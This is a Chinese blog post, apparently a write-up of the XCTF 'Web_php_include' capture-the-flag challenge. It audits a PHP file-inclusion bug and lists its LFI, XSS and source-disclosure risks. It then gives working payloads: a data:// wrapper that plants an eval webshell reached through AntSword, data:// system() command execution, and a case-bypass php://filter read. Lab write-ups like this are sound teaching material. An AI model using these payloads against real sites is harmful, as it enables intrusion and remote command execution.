攻防世界|Web_php_include|php协议|大小写绕过|命令执行|一句话木马|

首先代码审计
image

点击查看代码
<?php
// 使用show_source函数显示当前文件的源代码
// __FILE__是一个魔术常量,表示当前文件的完整路径和文件名
// 这行代码会将当前脚本的源代码输出到页面上
show_source(__FILE__);

// 输出GET请求中名为'hello'的参数值
// 直接输出用户输入,存在XSS(跨站脚本)攻击风险
echo $_GET['hello'];

// 从GET请求中获取名为'page'的参数值,用于后续文件包含
$page = $_GET['page'];

// 循环检测并替换$page中的"php://"字符串
// 目的是阻止使用php伪协议进行文件包含,但过滤方式存在缺陷
while (strstr($page, "php://")) {
    // 将$page中的"php://"替换为空字符串
    $page = str_replace("php://", "", $page);
}

// 包含$page变量指定的文件
// 由于未对$page进行严格验证,存在严重的文件包含漏洞
include($page);
?>

主要安全风险说明:

点击查看代码
文件包含漏洞(LFI):
include($page)直接使用用户可控的page参数,未进行严格验证

虽然尝试过滤php://协议,但可以通过多种方式绕过(如Php://、php: //等)
攻击者可利用此漏洞包含服务器上的任意文件(如/etc/passwd、配置文件等)

跨站脚本攻击(XSS):
echo $_GET['hello']直接输出用户输入,未做任何过滤
攻击者可构造?hello=<script>恶意代码</script>实施 XSS 攻击

信息泄露:
show_source(__FILE__)会将当前脚本源代码完全展示给用户
可能泄露服务器路径结构和程序逻辑,为攻击者提供便利

思路一

data协议上传一句话木马
payload: ?page=data://text/plain,<?php%20@eval($_POST[666]);%20?>
image

上传后蚁剑连接
image
得到flag

思路二

data伪协议代码执行

payload: ?page=data://text/plain,<?php system("ls")?>
image
出现了当前目录下的文件

payload: ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
打开F12后看到flag
image

思路三

利用PHP命令查找路径

payload:?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
image

得到当前路径为:
/var/www

payload:?page=data://text/plain,<?php print_r(scandir('27/var/www'));?>

image

返回指定目录中的文件和目录的数组

用php://filter 协议打开flag.php文件(注意大小写绕过)

payload:?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

image
对得到数据base64解码即可得到flag

image

知识补充

image

posted @ 2025-08-20 17:44  Dragon_Roar  阅读(2)  评论(0)    收藏  举报